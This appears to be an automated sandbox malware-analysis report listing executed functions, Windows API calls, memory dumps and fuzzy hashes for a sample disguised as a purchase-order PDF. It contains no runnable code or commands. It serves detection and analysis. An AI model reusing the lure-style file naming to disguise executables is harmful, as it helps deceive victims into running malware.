Snapshot File: hcaresult_3_2_4c10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 966723d6fe02e8faade1da25d1df717f93fab3024c3c400b212eeba92b1431f6
Instruction ID: 857b7b2345c41bd993be9573c988ba6abf38ce8c673b0f3014e151d361eef051
Opcode Fuzzy Hash: 966723d6fe02e8faade1da25d1df717f93fab3024c3c400b212eeba92b1431f6
Instruction Fuzzy Hash: 7DD012B1F042185F8B44EAB9585255E7BDA9B84554B1488799009D7340EE39980187C4

Uniqueness

Uniqueness Score: -1.00%

Function 04C10DD1 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.359785961.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96766b91613ae4525d931b7bcbf44cfe44a07f5e46245f31b13fdf665eb78ab6
Instruction ID: 8c2e1639b6371254d54f6957a605a8879586f0a3e49aeda89292d818047c4bb0
Opcode Fuzzy Hash: 96766b91613ae4525d931b7bcbf44cfe44a07f5e46245f31b13fdf665eb78ab6
Instruction Fuzzy Hash: 48E0C2302441804FC706877498A6DF53FA6AF82208F48869590888B6B7C668D896D740

Uniqueness

Uniqueness Score: -1.00%

Function 024F23F4 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.358630351.00000000024F2000.00000040.00000800.00020000.00000000.sdmp, Offset: 024F2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24f2000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f31d5add2b99eff0013ac131e36c065c71757e46eb52266114607ea8985c11be
Instruction ID: 8754f66791b0625cba88782564e77405fd4466150ab0faf2c8a08ededeeb687d
Opcode Fuzzy Hash: f31d5add2b99eff0013ac131e36c065c71757e46eb52266114607ea8985c11be
Instruction Fuzzy Hash: 0FD05E79255AD14FD327CE1CC1A8B963BD4AB91B08F4644FAEC408BB63C3A9E981D210

Uniqueness

Uniqueness Score: -1.00%

Function 024F23BC Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.358630351.00000000024F2000.00000040.00000800.00020000.00000000.sdmp, Offset: 024F2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_24f2000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92de72e8086bd467c7c7922ccbc0dd71e00a75dc62d6ad9988ddb44b5f26f780
Instruction ID: b694cba163bcb2d7e9834a2ea4ccbc2446362124f1c6e0c7b71acfea6a761d2c
Opcode Fuzzy Hash: 92de72e8086bd467c7c7922ccbc0dd71e00a75dc62d6ad9988ddb44b5f26f780
Instruction Fuzzy Hash: FAD05E742006814BC715DB1CC694F5A37D4AF81B08F0644E9AC008B762C3E9E885C600

Uniqueness

Uniqueness Score: -1.00%

Function 04C10DE0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.359785961.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c10000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39b05d959206febc205b5b8ce4ad2483543d39f2432509c587e4d2fb93e8b2be
Instruction ID: b4071280a1cc3ab0d49b1dfdeadde945b6d41e68b5e9277e4976ac5c368c755e
Opcode Fuzzy Hash: 39b05d959206febc205b5b8ce4ad2483543d39f2432509c587e4d2fb93e8b2be
Instruction Fuzzy Hash: 64C012303102048BC708A775D55AE2577D75BC0308F44C56490080B776DA34F890D684

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exEPID: 6984, Parent PID: 6948COMMON

Execution Graph

Execution Coverage:	11.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	116
Total number of Limit Nodes:	12

Executed Functions

Function 052EAF08 Relevance: 2.8, Strings: 2, Instructions: 344
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

cz7, xrefs: 052EB1D5
cz7, xrefs: 052EB1F5

Memory Dump Source

Source File: 00000008.00000002.339961824.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_52e0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID: cz7$cz7
API String ID: 0-559858401
Opcode ID: 20a0bdf3644a907dc189bb0db3416e603bba8106db2c165840b684d2e45563b3
Instruction ID: 0553220bdacde3747effbdf8c7961f5107f8c2aa48e89f5b85b1f55141b246ed
Opcode Fuzzy Hash: 20a0bdf3644a907dc189bb0db3416e603bba8106db2c165840b684d2e45563b3
Instruction Fuzzy Hash: 5ED16074E102098FCB14DFA8C884AAEFBF6FF88314F548559E419AB351DB74E946CB90

Uniqueness

Uniqueness Score: -1.00%

Function 052E8F20 Relevance: 2.8, Strings: 2, Instructions: 281
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

cz7, xrefs: 052E8F3F
cz7, xrefs: 052E8F5F

Memory Dump Source

Source File: 00000008.00000002.339961824.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_52e0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID: cz7$cz7
API String ID: 0-559858401
Opcode ID: 09c3d98311f1772963fecbe7a51e319711bc4fbe8bdebdbd06b7342638631560
Instruction ID: 8545e94e303d8d80356eff0685f99bbb2fed6fcb5733b492274a24eebdfa5b5e
Opcode Fuzzy Hash: 09c3d98311f1772963fecbe7a51e319711bc4fbe8bdebdbd06b7342638631560
Instruction Fuzzy Hash: DDB15170E1420ADFDF10CFA9C9857EDBBF2BF88314F54812AE419A7294DB749885CB81

Uniqueness

Uniqueness Score: -1.00%

Function 052E97F0 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

cz7, xrefs: 052E980F
cz7, xrefs: 052E982F

Memory Dump Source

Source File: 00000008.00000002.339961824.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_52e0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID: cz7$cz7
API String ID: 0-559858401
Opcode ID: 5d51e6c7d2d59a368b08a4e89cf875e438d41e5af909825440015a5da24f8cf3
Instruction ID: 8fa3defee5405f845d175a862f01b13ca1daf1fdc0fc0fa645aacf8abf988f07
Opcode Fuzzy Hash: 5d51e6c7d2d59a368b08a4e89cf875e438d41e5af909825440015a5da24f8cf3
Instruction Fuzzy Hash: 68B15071E1020ACFDB14CFA9C98579EBBF2BF88354F54812AD419E7394EB749885CB81

Uniqueness

Uniqueness Score: -1.00%

Function 052EE35A Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

1!, xrefs: 052EE3E4

Memory Dump Source

Source File: 00000008.00000002.339961824.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_52e0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID: 1!
API String ID: 0-2397466264
Opcode ID: cb75e863930ef15b5d04fd30a7bb45b1e18469ef09cdd7c3a1d1ef0e3fdc2e47
Instruction ID: 66a7c58450e725017a3530c4ccc69a1a60acf3a2a2b90db9a9d112b4fccaeada
Opcode Fuzzy Hash: cb75e863930ef15b5d04fd30a7bb45b1e18469ef09cdd7c3a1d1ef0e3fdc2e47
Instruction Fuzzy Hash: 27811474E11219DFCB08DFA5D8545AEFBB6FF89310F108529E816AB398DB745902CF90

Uniqueness

Uniqueness Score: -1.00%

Function 052EE368 Relevance: 1.4, Strings: 1, Instructions: 198COMMON

Download Yara Rule

Strings

1!, xrefs: 052EE3E4

Memory Dump Source

Source File: 00000008.00000002.339961824.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_52e0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID: 1!
API String ID: 0-2397466264
Opcode ID: c08fea953e6c22456bccdb656fc67bfbbca919aebe68acd47bbbedfcbf2f68e8
Instruction ID: 82813f91500aebfce6e202f75ea09dd63f7b4cce9b2524e9aa26f55bfb4243af
Opcode Fuzzy Hash: c08fea953e6c22456bccdb656fc67bfbbca919aebe68acd47bbbedfcbf2f68e8
Instruction Fuzzy Hash: 8F812374E11219DFCB08DFA5D8545AEFBB6FF89310F208529E816AB398DB345902CF90

Uniqueness

Uniqueness Score: -1.00%

Function 057FBF21 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 125
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 057FBF90
GetCurrentThread.KERNEL32 ref: 057FBFCD
GetCurrentProcess.KERNEL32 ref: 057FC00A
GetCurrentThreadId.KERNEL32 ref: 057FC063

Strings

cz7, xrefs: 057FBF4C

Memory Dump Source

Source File: 00000008.00000002.340731116.00000000057F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_57f0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: Current$ProcessThread
String ID: cz7
API String ID: 2063062207-1893501861
Opcode ID: f76ae65a7c81b897296b103c1ad758f134ddbd3685c8d86743a37c11484d3b54
Instruction ID: 7a1dca0e3fe8200ea9bd0b7a51281d25226a37ffb44a3af975b5d174df1f2ba9
Opcode Fuzzy Hash: f76ae65a7c81b897296b103c1ad758f134ddbd3685c8d86743a37c11484d3b54
Instruction Fuzzy Hash: D15183B49003488FDB10CFAAD988BDEBBF5FB48314F208419E449A7350DB756885CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 057FBF30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 057FBF90
GetCurrentThread.KERNEL32 ref: 057FBFCD
GetCurrentProcess.KERNEL32 ref: 057FC00A
GetCurrentThreadId.KERNEL32 ref: 057FC063

Strings

cz7, xrefs: 057FBF4C

Memory Dump Source

Source File: 00000008.00000002.340731116.00000000057F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_57f0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: Current$ProcessThread
String ID: cz7
API String ID: 2063062207-1893501861
Opcode ID: 9232cd78c661ffa74479b5724c7db56b5ac5586e2f3649bc08d6a76dca13fe0e
Instruction ID: 8de302cd35e27f899c966543e0eb9c5e81464dd8d5558b26a9d504beeaa8a01d
Opcode Fuzzy Hash: 9232cd78c661ffa74479b5724c7db56b5ac5586e2f3649bc08d6a76dca13fe0e
Instruction Fuzzy Hash: 605163B49003498FDB10CFAAD988BDEBBF5BF48314F208459E449A7350DB756885CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 052EDC34 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindWindowA.USER32(?), ref: 052EDD17

Strings

cz7, xrefs: 052EDC62
cz7, xrefs: 052EDC82

Memory Dump Source

Source File: 00000008.00000002.339961824.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_52e0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: FindWindow
String ID: cz7$cz7
API String ID: 134000473-559858401
Opcode ID: e8397faf5225b5ec66c437b3eda3e6c02c29025bc2e84c390c4f83ff4a085bfd
Instruction ID: 95d6fbf10a91c69a5940e86b1ffe99f1223dbea9035df9180014d060e5b9347c
Opcode Fuzzy Hash: e8397faf5225b5ec66c437b3eda3e6c02c29025bc2e84c390c4f83ff4a085bfd
Instruction Fuzzy Hash: 934159B2D102198FDB10CFA9C98579EBBF1BF48314F548529D819BB380D7B89845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 052EDC40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindWindowA.USER32(?), ref: 052EDD17

Strings

cz7, xrefs: 052EDC62
cz7, xrefs: 052EDC82

Memory Dump Source

Source File: 00000008.00000002.339961824.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_52e0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: FindWindow
String ID: cz7$cz7
API String ID: 134000473-559858401
Opcode ID: f3fa239f5cb7a9fd4efc80cab840ec319e203cfe26248a11d0d736d36cc52e7c
Instruction ID: 010cef8c5bdfd928433022102beb7d832f32e5a9599e94156bb454f60b56e3f9
Opcode Fuzzy Hash: f3fa239f5cb7a9fd4efc80cab840ec319e203cfe26248a11d0d736d36cc52e7c
Instruction Fuzzy Hash: 1C3156B1D202199FDB10CFAAC884B9EBBF1BF48314F548529E819BB380D7B49845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 052E2D24 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 89
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 052E651A

Strings

cz7, xrefs: 052E6472
cz7, xrefs: 052E6492

Memory Dump Source

Source File: 00000008.00000002.339961824.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_52e0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: LibraryLoad
String ID: cz7$cz7
API String ID: 1029625771-559858401
Opcode ID: 490df866237cd5dd350dd4ae83286fd5807067789448dc52e109a2ec1c2addba
Instruction ID: 018edd7dfc3e6e959c669aeeaa9b8c81238e0c2aad22dbedf06df18c672e6223
Opcode Fuzzy Hash: 490df866237cd5dd350dd4ae83286fd5807067789448dc52e109a2ec1c2addba
Instruction Fuzzy Hash: A83179B0D202499FDB20CFA9D88579EBBF1FF08314F108129E816AB384D7B4A441CF95

Uniqueness

Uniqueness Score: -1.00%

Function 052E6444 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 89
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 052E651A

Strings

cz7, xrefs: 052E6472
cz7, xrefs: 052E6492

Memory Dump Source

Source File: 00000008.00000002.339961824.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_52e0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: LibraryLoad
String ID: cz7$cz7
API String ID: 1029625771-559858401
Opcode ID: ac06bc2f005be7645f3ba79c44870995e543bad6005652d91429be0654cde4e5
Instruction ID: 8a57bf7fe4958f6a75c8af7209cb1e790fb7368d541d9baa6b0f34ab25b8d1a8
Opcode Fuzzy Hash: ac06bc2f005be7645f3ba79c44870995e543bad6005652d91429be0654cde4e5
Instruction Fuzzy Hash: 6E3179B0D102499FDB24CFA9D88579EBFF1BF08314F148129E816AB384D774A442CF95

Uniqueness

Uniqueness Score: -1.00%

Function 057F9F30 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 193
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 057FA176

Strings

cz7, xrefs: 057FA12F

Memory Dump Source

Source File: 00000008.00000002.340731116.00000000057F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_57f0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: HandleModule
String ID: cz7
API String ID: 4139908857-1893501861
Opcode ID: e3dc14d2615eb871c71d82da55e8feaaf86a8cd799fc7fe0b723d9abfe890f4a
Instruction ID: 8872c5f57b7a42dd7d5a20bd00b0b85a4cb75073eba19d88c02613c337ff262b
Opcode Fuzzy Hash: e3dc14d2615eb871c71d82da55e8feaaf86a8cd799fc7fe0b723d9abfe890f4a
Instruction Fuzzy Hash: 507144B0A00B059FD724DF2AD44476ABBF2FF88300F008A2ED59AD7B50DB75E8058B91

Uniqueness

Uniqueness Score: -1.00%

Function 057FC158 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 057FC1DF

Strings

cz7, xrefs: 057FC177

Memory Dump Source

Source File: 00000008.00000002.340731116.00000000057F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_57f0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: DuplicateHandle
String ID: cz7
API String ID: 3793708945-1893501861
Opcode ID: 34f49bc3bd9cc3d4cae9aaf6d085c277dffd65ee41459b41f5784674c13d56b6
Instruction ID: a9cc6fe2564d284e392149767cd5528a132ff8caa0010bbcfeef6fe13c634fda
Opcode Fuzzy Hash: 34f49bc3bd9cc3d4cae9aaf6d085c277dffd65ee41459b41f5784674c13d56b6
Instruction Fuzzy Hash: 6321E4B5D002099FDB10CF9AD984ADEBBF9FB48324F14841AE915A7350D378A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 057FC151 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 057FC1DF

Strings

cz7, xrefs: 057FC177

Memory Dump Source

Source File: 00000008.00000002.340731116.00000000057F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_57f0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: DuplicateHandle
String ID: cz7
API String ID: 3793708945-1893501861
Opcode ID: 79eb4e807ebc483f4e828b3356d8dfdee3628f4153f9a0c0ce5986cf9f24a2f1
Instruction ID: c6305558ae1660cce0e2f17e02283154685ddaee47acb507c60f748d897041c7
Opcode Fuzzy Hash: 79eb4e807ebc483f4e828b3356d8dfdee3628f4153f9a0c0ce5986cf9f24a2f1
Instruction Fuzzy Hash: FF2114B9D002089FDB10CFA9D984ADEBBF9FB08320F14841AE914B3350C378A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 057F9B48 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,057FA1F1,00000800,00000000,00000000), ref: 057FA402

Strings

cz7, xrefs: 057FA3B7

Memory Dump Source

Source File: 00000008.00000002.340731116.00000000057F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_57f0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: LibraryLoad
String ID: cz7
API String ID: 1029625771-1893501861
Opcode ID: 3da1b6a69abc6b68aa23cd05ff0ddc8250894844079f9a3adcec414279655d4b
Instruction ID: 59ff3e05931bedb06fdee38559ed72d8371f1fdf4cb2713bd45910fe19007ec8
Opcode Fuzzy Hash: 3da1b6a69abc6b68aa23cd05ff0ddc8250894844079f9a3adcec414279655d4b
Instruction Fuzzy Hash: 061106B69003499FDB10CF9AC484A9EFBF5EB98314F10842AE519A7700C375A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 057FA390 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,057FA1F1,00000800,00000000,00000000), ref: 057FA402

Strings

cz7, xrefs: 057FA3B7

Memory Dump Source

Source File: 00000008.00000002.340731116.00000000057F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_57f0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: LibraryLoad
String ID: cz7
API String ID: 1029625771-1893501861
Opcode ID: cb5a7836df28bb9a16a34a6eeadea580a96a99720ee72e23a13f6aae1b613f63
Instruction ID: 95f5c27e54558dd671fbc55bbd57575a2f939fe3a3cff593a2e00bf3f49571f5
Opcode Fuzzy Hash: cb5a7836df28bb9a16a34a6eeadea580a96a99720ee72e23a13f6aae1b613f63
Instruction Fuzzy Hash: 0E1144B6C002498FCB10CF9AC588ADEFBF5AF58314F14842AD459A7300C378A545CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 057FA110 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 057FA176

Strings

cz7, xrefs: 057FA12F

Memory Dump Source

Source File: 00000008.00000002.340731116.00000000057F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_57f0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: HandleModule
String ID: cz7
API String ID: 4139908857-1893501861
Opcode ID: 5f2e4a2566ebcedf465db1b265463792c5b8307415da7d33b47dcffe96c04543
Instruction ID: 8323152bb7681e8a3c555ab2ed8a8464d5644912a06835ff36a98b7e36e758b9
Opcode Fuzzy Hash: 5f2e4a2566ebcedf465db1b265463792c5b8307415da7d33b47dcffe96c04543
Instruction Fuzzy Hash: 8011E3B5C002498FDB10CF9AC844BDEFBF4AB89324F55851AD419B7710C379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0308D4A0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.318216470.000000000308D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0308D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_308d000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c05af225a2a1a03f357ddde7a21254b929b6cef3690c33e4adfea6e6191cfcc9
Instruction ID: bd9805d1d942559093a8ac47d95f12edf9c308ed3990fa60c776b22d9b208e2d
Opcode Fuzzy Hash: c05af225a2a1a03f357ddde7a21254b929b6cef3690c33e4adfea6e6191cfcc9
Instruction Fuzzy Hash: 00214871541240DFDB05EF18D9C0B1BBFA5FB88328F28C6AAD8450B296C336D845CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0309D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.318431129.000000000309D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0309D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_309d000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bb6c31fa9646c59d24a8d3f08afb515c8b0719cf5910d945ff9150a7f6068f7
Instruction ID: 7e4b0e0048f6d6f966c0201a0e42abf442e0439cb0d5f03681269aee7640d286
Opcode Fuzzy Hash: 5bb6c31fa9646c59d24a8d3f08afb515c8b0719cf5910d945ff9150a7f6068f7
Instruction Fuzzy Hash: D6212875544240DFEF14CF18D9C0B1ABBA5FBC4314F24C9AED8494B246C33BD846DA61

Uniqueness

Uniqueness Score: -1.00%

Function 0309D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.318431129.000000000309D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0309D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_309d000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8d4f8697b83224e86ca9d59bb35d79cfabf5e90973878675acafecacbd69cca
Instruction ID: 551f177c01a793fb8a8b98687c2c4ae7e7991bec565478726146f409f0b94245
Opcode Fuzzy Hash: e8d4f8697b83224e86ca9d59bb35d79cfabf5e90973878675acafecacbd69cca
Instruction Fuzzy Hash: C5212C75544244DFEF05CF14D9C0B1ABBA5FB94314F24C9AED8494F246C336D846DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0309D007 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.318431129.000000000309D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0309D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_309d000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40a2bb2e9dd6883df276a86762a4a9a835c4ff97ac6c52da3a241289775e298c
Instruction ID: e797991b472b3bf24d87c417cac5da2f32a0ab47a0550892f3c2e7ce573eb91f
Opcode Fuzzy Hash: 40a2bb2e9dd6883df276a86762a4a9a835c4ff97ac6c52da3a241289775e298c
Instruction Fuzzy Hash: AA21C5355493808FDB02CF24C990705BFB1EB86214F29C5DBC8458F257C33AD40ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0308D49B Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.318216470.000000000308D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0308D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_308d000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e78fb41457c0dbc2d9524af8796639b843feda46be7989836c0fd150c2e2370
Instruction ID: 53c2b571ef6f09c5a405475094a7d6e77d1156b8fcb9236c91284e6abd2b56a9
Opcode Fuzzy Hash: 4e78fb41457c0dbc2d9524af8796639b843feda46be7989836c0fd150c2e2370
Instruction Fuzzy Hash: 5C11B176505280CFDB12DF14D9C4B56BFB1FB84324F28C6AAD8450B656C33AD456CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0309D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.318431129.000000000309D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0309D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_309d000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a40b480d4fa50119ebda35aff352db3dffa7348ebbf36f966237d5faf07d1e9
Instruction ID: 83710e9bb665887d6098b4a47886b7ef2181759b704dca6004c9bb394f522ce7
Opcode Fuzzy Hash: 4a40b480d4fa50119ebda35aff352db3dffa7348ebbf36f966237d5faf07d1e9
Instruction Fuzzy Hash: 4F11BB76544280DFDF42CF14CAC0B15FBA1FB84224F28C6AED8494F696C33AD44ADB62

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 052EE740 Relevance: 3.9, Strings: 3, Instructions: 114COMMON

Download Yara Rule

Strings

Hk:, xrefs: 052EE82F
Hk:, xrefs: 052EE821
\(6i, xrefs: 052EE782

Memory Dump Source

Source File: 00000008.00000002.339961824.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_52e0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID: \(6i$Hk:$Hk:
API String ID: 0-2789977114
Opcode ID: d7173c021ce0ef2fbf0030d293bb60788d0255224489529247fcd6344a747c74
Instruction ID: e572eb14848148ccf05346e43917ae0a5901505a370bde94d1a81017108fee1f
Opcode Fuzzy Hash: d7173c021ce0ef2fbf0030d293bb60788d0255224489529247fcd6344a747c74
Instruction Fuzzy Hash: 5A4148B4E25209DFCB04CFA9D9855AEFBF6FF88300F10942AD415A7264DB789A01CF94

Uniqueness

